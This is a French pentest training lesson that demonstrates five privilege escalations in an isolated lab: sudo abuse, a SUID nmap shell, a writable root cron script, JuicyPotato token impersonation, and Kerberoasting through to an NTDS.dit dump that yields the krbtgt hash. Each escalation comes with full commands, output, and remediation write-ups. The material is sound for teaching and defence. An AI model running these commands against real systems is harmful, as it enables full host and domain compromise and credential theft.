Élévation de privilèges — Démonstration guidée
Cinq élévations bout à bout. Trois sur Linux (Metasploitable 2), deux sur Windows (Metasploitable 3 + un petit AD lab). À chaque fois : le contexte, la commande, la preuve, le rapport.
Toutes les VM sont sur le réseau host-only. Aucune commande ne quitte le lab.
Ce que vous saurez faire après cette leçon
- Repérer et exploiter cinq chemins d'élévation différents.
- Utiliser
linpeas,winpeas,gtfobins,bloodhoundproprement. - Casser un TGS Kerberos avec
hashcat -m 13100. - Extraire les credentials en mémoire d'une machine Windows.
- Rédiger un constat d'élévation utilisable en rapport.
Le décor
| Machine | Rôle | IP |
|---|---|---|
| Kali | Attaquant | 10.10.10.5 |
| Metasploitable 2 (Linux) | Cible Linux, session msfadmin obtenue | 10.10.10.20 |
| Metasploitable 3 Win | Cible Windows autonome, session vagrant obtenue | 10.10.10.12 |
| DC AD lab | Contrôleur de domaine acme.local | 10.10.10.100 |
| WS01 AD lab | Poste Windows joint au domaine, session alice obtenue | 10.10.10.101 |
Le mini-AD lab, on le monte avec GOAD ou avec un simple Windows Server + Windows 10 client. On y reviendra au module 10.
Élévation 1 (Linux) — sudo vim en NOPASSWD
Vous avez un shell msfadmin sur Metasploitable 2. Question 1 :
sudo -l
Sortie :
User msfadmin may run the following commands on this host:
(ALL) NOPASSWD: ALL
Jackpot pédagogique : msfadmin a tous les droits sudo sans mot de passe. Pas besoin de vim :
sudo bash
whoami
# root
Fiche :
## Élévation 1 — sudo NOPASSWD ALL (Metasploitable 2)
- Compte de départ : msfadmin
- Compte final : root
- Chemin : sudo -l montre "NOPASSWD: ALL" → sudo bash
- Impact : compromission totale de la machine
- Recommandation : retirer la ligne sudoers, définir des commandes précises
Élévation 2 (Linux) — SUID sur nmap
Simulons un scénario plus subtil. Sur une autre VM, msfadmin n'a pas sudo. Il a un nmap SUID :
find / -perm -4000 -type f 2>/dev/null | head
Sortie :
/usr/bin/nmap
/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/nmap SUID root est anormal. On consulte GTFOBins → sur d'anciennes versions nmap, le mode interactif :
nmap --interactive
nmap> !sh
sh-3.2# whoami
root
Root via nmap. Fiche :
## Élévation 2 — SUID sur /usr/bin/nmap (mode interactif)
- Compte de départ : msfadmin
- Compte final : root
- Chemin : nmap --interactive → !sh → shell root
- Impact : compromission totale
- Recommandation : retirer le SUID (chmod u-s /usr/bin/nmap), utiliser capabilities
ciblées si nmap doit tourner sans privilèges
Élévation 3 (Linux) — Cron avec chemin relatif
Créons artificiellement un scénario. En tant que root sur la VM, une fois :
# En tant que root
echo '#!/bin/bash' > /usr/local/bin/backup.sh
echo 'echo "backup ran at $(date)" >> /var/log/backup.log' >> /usr/local/bin/backup.sh
chmod +x /usr/local/bin/backup.sh
chown msfadmin:msfadmin /usr/local/bin/backup.sh # <-- erreur volontaire
# Cron file
echo '* * * * * root /usr/local/bin/backup.sh' > /etc/cron.d/backup
En tant que msfadmin, on repère :
ls -la /usr/local/bin/backup.sh
# -rwxr-xr-x 1 msfadmin msfadmin 55 /usr/local/bin/backup.sh
Le script est écrit par msfadmin, exécuté par root chaque minute. On l'exploite :
cat > /usr/local/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
Attendre une minute :
sleep 65
/tmp/rootbash -p
whoami
# root
Fiche :
## Élévation 3 — Cron avec script inscriptible par utilisateur
- Compte de départ : msfadmin
- Compte final : root
- Chemin :
1. cat /etc/cron.d/backup → script exécuté par root
2. ls -la /usr/local/bin/backup.sh → possédé par msfadmin
3. Remplacement du script par un payload SUID
4. Après une minute : /tmp/rootbash -p → shell root
- Impact : compromission totale de la machine, avec persistance
- Recommandation : chown root:root pour tous les scripts en cron root
Élévation 4 (Windows) — WinPEAS et token impersonation
Sur Metasploitable 3 Windows, vous avez une session vagrant en Meterpreter :
meterpreter > getuid
Server username: METASPLOITABLE3\vagrant
meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeDebugPrivilege ← DEBUG !
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
SeImpersonatePrivilege ← IMPERSONATE !
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
SeTimeZonePrivilege
SeCreateSymbolicLinkPrivilege
SeImpersonatePrivilege = on peut voler un token. C'est le compte d'un service ou d'un utilisateur historiquement mal configuré.
Utiliser PrintSpoofer ou JuicyPotato pour bascule SYSTEM :
meterpreter > upload /usr/share/windows-resources/juicypotato/JuicyPotato.exe
meterpreter > shell
C:\> whoami
metasploitable3\vagrant
C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
....................
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};nt authority\system
[+] CreateProcessWithTokenW OK
Sur Windows 10/11 récents, on utilise PrintSpoofer ou RoguePotato selon la version.
Fiche :
## Élévation 4 — Token impersonation via SeImpersonatePrivilege
- Compte de départ : METASPLOITABLE3\vagrant
- Compte final : NT AUTHORITY\SYSTEM
- Chemin :
1. getprivs révèle SeImpersonatePrivilege
2. Exploitation avec JuicyPotato/PrintSpoofer
3. Shell SYSTEM
- Impact : contrôle total du système, extraction de hashes possible
- Recommandation : minimiser les comptes de service avec SeImpersonate,
surveiller les créations de token via WMI
Élévation 5 (AD) — Kerberoasting bout à bout
Vous avez la session alice sur WS01, machine jointe au domaine acme.local. Objectif : passer à Domain Admin.
5a. Lister les SPN
Depuis Kali, avec Impacket :
impacket-GetUserSPNs -request \
-dc-ip 10.10.10.100 \
acme.local/alice:Alice2024! \
-outputfile preuves/tgs-tickets.txt
Sortie :
ServicePrincipalName Name MemberOf
MSSQLSvc/sqlserver.acme:1433 svc_sql CN=Service Accounts,CN=Users,DC=acme,DC=local
CIFS/backup.acme.local svc_backup CN=Service Accounts,CN=Users,DC=acme,DC=local
[*] Tickets writtes to preuves/tgs-tickets.txt
Deux comptes de service avec SPN. Deux tickets Kerberos récupérés.
Extrait du fichier :
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123def456...
5b. Cassage hashcat
hashcat -m 13100 preuves/tgs-tickets.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
Après quelques minutes :
$krb5tgs$23$*svc_sql$acme.local$MSSQLSvc/sqlserver.acme:1433*$abc123...:SQLpass2020!
Le mot de passe du compte de service SQL en 3 minutes.
5c. Bascule
Avec le mot de passe, on se connecte :
impacket-psexec acme.local/svc_sql:SQLpass2020!@sqlserver.acme.local
Shell SYSTEM sur sqlserver.acme.local.
Sur ce serveur, Meterpreter → BloodHound collector → on voit :
svc_sqlest membre deBackup Operators.Backup Operatorspeut lire n'importe quel fichier système, y comprisNTDS.ditsur le DC.
Chemin final :
# Depuis SQL server, on utilise ntdsutil pour copier NTDS.dit :
ntdsutil "ac in ntds" "ifm" "cr fu C:\temp\dump" q q
# On rapatrie via SMB, on extrait avec impacket-secretsdump :
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
Sortie :
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31c...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:8d3...:::
Le hash de krbtgt = capacité à forger un Golden Ticket = accès permanent au domaine.
5d. Fiche
## Élévation 5 — Kerberoasting → Backup Operators → NTDS.dit
- Compte de départ : ACME\alice (utilisateur standard)
- Compte final : Full compromise (hash de krbtgt)
- Chemin :
1. impacket-GetUserSPNs → 2 comptes de service avec SPN
2. hashcat -m 13100 → mot de passe svc_sql cracké
3. psexec sur SQL server → SYSTEM local
4. BloodHound révèle svc_sql ∈ Backup Operators
5. ntdsutil IFM sur DC → NTDS.dit + SYSTEM hive
6. secretsdump → hash de krbtgt extrait
- Impact : compromission complète du domaine, Golden Ticket possible
- Recommandations :
1. Mot de passe de svc_sql > 25 caractères (résiste au cassage)
2. Retirer svc_sql du groupe Backup Operators
3. Auditer tous les comptes avec SPN, allonger leurs mots de passe
4. Passer à des MSA (Managed Service Accounts) qui rotent automatiquement
Étape 6 — BloodHound en support
BloodHound rend visible les chemins comme celui du 5. Depuis Kali :
# Collecteur depuis WS01 avec les creds de alice
bloodhound-python -u alice -p 'Alice2024!' -d acme.local \
-ns 10.10.10.100 -c All -o preuves/bloodhound
# Import dans Neo4j
neo4j start
bloodhound
# Drag & drop les .json dans l'interface
Requête pré-faite : Shortest Paths to Domain Admins from Owned.
On voit le chemin alice → svc_sql (via kerberoast) → Backup Operators → DC → Domain Admin en un graphe. C'est ça qu'on montre au client. Beaucoup plus fort qu'une liste de commandes.
Étape 7 — Le tableau récapitulatif
| # | Cible | Départ | Arrivée | Chemin | Preuve |
| - | -------------- | --------- | ---------- | -------------------------------- | -------------------------- |
| 1 | metasploitable2 | msfadmin | root | sudo NOPASSWD | preuves/01-sudo.log |
| 2 | metasploitable2 | msfadmin | root | SUID sur nmap --interactive | preuves/02-nmap-suid.log |
| 3 | metasploitable2 | msfadmin | root | cron script inscriptible | preuves/03-cron.log |
| 4 | metasploitable3 | vagrant | SYSTEM | JuicyPotato / SeImpersonate | preuves/04-potato.log |
| 5 | acme.local | alice | Full compro| Kerberoast → Backup Ops → NTDS.dit| preuves/05-kerberoast.log |
Bilan
En 90 minutes :
- Cinq élévations différentes, cinq cheminements différents.
- Cinq preuves dans un dossier.
- Un graph BloodHound qui rend la découverte AD visuelle.
- Un hash krbtgt — de quoi survivre à toutes les remédiations partielles.
Ceci est ce qu'un client paie. Pas les scans. Pas les CVE. Les chemins.
Prochaine leçon : à vous. Trois élévations, trois cheminements, trois fiches.